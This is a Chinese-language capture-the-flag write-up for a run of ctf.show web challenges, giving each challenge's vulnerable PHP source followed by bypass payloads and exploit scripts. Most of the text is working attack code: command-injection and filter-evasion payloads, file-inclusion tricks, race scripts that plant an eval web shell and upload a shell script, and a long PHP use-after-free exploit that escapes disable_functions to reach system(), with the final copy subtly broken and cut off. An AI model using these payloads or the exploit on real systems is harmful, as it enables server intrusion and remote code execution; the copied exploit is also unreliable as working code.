3
4
5
6
7
8
9
10
<?php
error_reporting(0);
$flag="fakeflag";
$u = $_POST['username'];
$p = $_POST['pazzword'];
if(isset($u) && isset($p)){
if($u==='admin' && $p ==='a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04'){
echo $flag;
}
}

并且发现加密方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<script type="text/javascript">
function checkForm(){
var key = "0000000372619038";
var iv = "ilove36dverymuch";
var pazzword = $("#pazzword").val();
pazzword = encrypt(pazzword,key,iv);
$("#pazzword").val(pazzword);
$("#loginForm").submit();

}
function encrypt(data,key,iv) { //key,iv:16位的字符串
var key1 = CryptoJS.enc.Latin1.parse(key);
var iv1 = CryptoJS.enc.Latin1.parse(iv);
return CryptoJS.AES.encrypt(data, key1,{
iv : iv1,
mode : CryptoJS.mode.CBC,
padding : CryptoJS.pad.ZeroPadding
}).toString();
}

</script>

aes加密,直接用CyberChef解,后面的点是多余的,即密码为i_want_a_36d_girl

web20

御剑扫目录发现有/db,手测/db/db.mdb存在,下载下来,16进制编辑器打开,搜索flag

web21

给的有子典,抓包,发现经过了一层base64加密,没事,burpsuite可以解决

好像不能url编码,最终跑出来

1
admin:shark63

web22

子域名爆破,盲猜flag.ctfer.com

web23

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php
error_reporting(0);
include('flag.php');
if(isset($_GET['token'])){
$token = md5($_GET['token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}else{
highlight_file(__FILE__);

}
?>

爆破,可以知道,第2位,第15位,第18位是一样的,并且为数字,第32位为3,exp:

1
2
3
4
5
6
7
import hashlib

for i in range(1, 1000000000000000):
s = hashlib.md5(str(i).encode()).hexdigest()
if s[1]==s[14] and s[14]==s[17] and s[31].isdigit() and s[31]=='3':
print(i,s)
break

web24

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){
echo $flag;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}

伪随机数,版本是php7

1
2
3
4
<?php
mt_srand(372619038);
echo mt_rand();
// 1155388967

web25

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8)));
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}

直接php_mt_seed爆破种子,直接爆破的话需要36*36*36次,上万了,不太现实,注意mt_rand()的次数

1
2
3
4
<?php
mt_srand(117235642);
mt_rand();
echo (mt_rand()+mt_rand());

web26

就爆破完事了,密码:7758521

web27

录取名单下载下来list.xlsx,里面有学生的信息,搜了下名字,找到:https://tools.aizhan.com/rb/idcard.ifanyi.com.cn

其实爆破也行,缺失的部分是人的生日

1
2
3
4
5
6
7
8
9
10
<html>
<body>
<form method="post" action="http://3a5c5c7a-84c9-485d-8a71-822803a153ff.chall.ctf.show/info/checkdb.php">
<input id="a" name="a" type="text" placeholder="姓名">
<input id="p" name="p" type="text" placeholder="身份证号码">
<input type="submit" value="Submit" />
</form>

</body>
</html>

登陆成功给了学号和默认密码,登陆就有flag

web28

直接上图 在中间 没仔细看 透

image-20201006194918832

web29

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

payload:

1
?c=system('cat *');

web30

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

payload:

1
?c=$a='sys'.'tem';$a('cat *');

web31

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

payload:

1
?c=$a=str_replace("a","","sysatem");$a("head%09-n%09100%09*");

web32

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

payload:

1
?c=include"$_GET[1]"?>&1=php://filter/convert.base64-encode/resource=flag.php

web33

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

payload:

1
?c=include/**/$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web34

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

payload:

1
?c=include/**/$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web35

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

payload:

1
?c=include/**/$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web36

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

payload:

1
?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web37

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

payload:

1
2
?c=php://input
POST: <?php system('cat *');

session上传进度getshell,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import threading

url='http://b440e730-82ed-40ce-a359-947492fc8c6d.chall.ctf.show/'
r=requests.session()
headers={
"Cookie":'PHPSESSID=moonback'
}
def POST():
files={
"upload":'' #上传无效的空文件
}
data={
"PHP_SESSION_UPLOAD_PROGRESS":'<?php echo "moonback";file_put_contents("/tmp/mb", base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs="));?>' #恶意进度信息,readfile将直接输出文件内容
}
r.post(url,files=files,headers=headers,data=data)

def READ():
# event.wait()
while True:
POST()
t=r.get("http://b440e730-82ed-40ce-a359-947492fc8c6d.chall.ctf.show/?c=/tmp/sess_moonback")
if 'moonback' in t.text:
print('[+] success')
break

for i in range(50):
threading.Thread(target=READ,args=()).start()

web38

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

payload:

1
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgKicpOw==

web39

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

}else{
highlight_file(__FILE__);
}

同样可以使用data://协议

1
2
?c=data://text/plain,<?php system('cat *');?>
?c=data:text/plain,<?php system('cat *')?>

web40

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

这个ban的是中文的括号。。。。php无参数函数:https://www.m00nback.xyz/2019/11/12/php-nopara-rce

payload:

1
?c=readfile(array_rand(array_flip(scandir(current(localeconv())))));

web41

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>

|没有过滤,构造:

1
2
3
4
5
c=' ');('%12%05%01%04%06%09%0c%05'|'%60%60%60%60%60%60%60%60')('%06%0c%01%07%00%10%08%10'|'%60%60%60%60%2e%60%60%60');//
readfile('flag.php')


c=' ');('%12%05%01%04%06%09%0c%05'|'%60%60%60%60%60%60%60%60')(('%06%0c%01%07'|'%60%60%60%60').'.'.('%10%08%10'|'%60%60%60'));//

hackbar提交会有问题 在bp里吧

1
2
3
c=' ');('%60%60%60%60%60%60'|'%13%19%13%14%05%0d')(('%03%01%14'|'%60%60%60').' *');//

system('cat *')

web42

1
2
3
4
5
6
7
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}

#注释就行

1
?c=cat * %23

web43

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

payload:

1
?c=head -n 100 * %23

web44

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

payload:

1
?c=head -n 100 * %23

web45

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

payload:

1
?c=head%09-n%09100%09*%09%23

web46

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

payload:

1
?c=tac%09fla?.???%09%23

web47

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

payload:

1
?c=tac%09fla?.???%09%23

web48

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

payload:

1
?c=tac%09fla?.???%09%23

web49

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

payload:

1
?c=tac%09fla?.???%09%23

web50

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

payload:

1
?c=ca''t<>fl''ag.php%0a%23

web51

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

payload:

1
?c=ca''t<>fl''ag.php%0a%23

web52

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

payload:

1
?c=ca''t${IFS}/fl''ag%0a%23

web53

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}

payload:

1
?c=ca''t${IFS}fl''ag.php%0a%23

web54

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

通配符绕过,payload:

1
?c=/bin/ca?${IFS}f???.php%0a%23

web55

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

和红包题一样,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import threading

url1='http://0a73a501-052c-43c7-b811-01cd759d416a.chall.ctf.show/?c=.+/???/????????[@-[]'
url='http://0a73a501-052c-43c7-b811-01cd759d416a.chall.ctf.show/'

def post():
files={
'upload':'#!/bin/sh\necho 1433223\ncat flag.php'
}
r=requests.post(url,files=files)
def req():
r=requests.get(url1)
if '1433223' in r.text:
print(r.text)

for i in range(50):
threading.Thread(target=post,args=()).start()
threading.Thread(target=req,args=()).start()

[@-[]代表是大写字母的通配符

web56

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

和web55一样

web57

1
2
3
4
5
6
7
8
9
10
<?php
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}

自己测得下面的payload在bash里可以,在system函数不行:

1
2
3
$((((_++)),$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_))

$[((_++)),$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_+$_]

正确的解法是:

1
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

记下大概思路:

1
2
3
4
$(())   ==> 0
$((~$(()))) ==> -1
$(($((~$(())))$((~$(()))))) ==> -2
$((~-37)) ==> 36

web58-59

蚁剑连

web60-66

蚁剑连 插件bypass

web67-70

终于有个插件bypass不了的了 直接包含/flag.txt

web71

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>

让后面的代码不执行就行

1
include('/flag.txt');die();

或者,原理我也不清楚

1
2
3
4
5
ob_end_clean();include('/flag.txt');
include('/flag.txt');ob_end_flush();
include('/flag.txt');ob_flush();
ob_get_clean();include('/flag.txt');
include('/flag.txt');ob_start();

或者用阿狸师傅的脚本

1
2
3
4
5
6
7
import requests

url = "http://03343dd8-5d78-4557-b4b6-3b7fc75528ea.chall.ctf.show/"
d = {'c': 'include("/flag.txt");echo ~ob_get_contents();'}
s = requests.post(url, d).content
for i in s:
print(chr(~i&0xff), end='')

web72

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

?>

题目有open_basedir的限制,glob://协议bypass读出flag文件名flag0.txt

1
c=$it = new DirectoryIterator("glob:///*");foreach($it as $f) {echo$f->getFilename()."\n";}die();

使用这个bypass disable_function发现

1
str_repeat()  chr()

这两个函数被ban了,替换以下就行

1
2
str_repeat()  ==> 自己写个for循环拼接一下字符串
chr() ==> sprintf("%c",$a)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
<?php
pwn("cat /flag0.txt");

function pwn($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function my_str_repeat($a,$b){
$s = '';
for($i = 0; $i <= $b;$i++){
$s.=$a;
}
return $s;
}

function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(my_str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(my_str_repeat('A', 79));

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);
exit();
}
exit();

web73

比上面多过滤了strlen(),自己定义函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
<?php

pwn("uname -a");

function pwn($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($ptr & 0xff));
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = my_strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function my_str_repeat($a,$b){
$s = '';
for($i = 0; $i <= $b;$i++){
$s.=$a;
}
return $s;
}
function my_strlen($a){
$n = 0;
for($i = 0; $i <= INF;$i++){
if($a[$i]!==''){
$n++;
}else{
break;
}
}
return $n;
}

function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(my_str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(my_str_repeat('A', 79));

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(my_strlen($abc) == 79 || my_strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
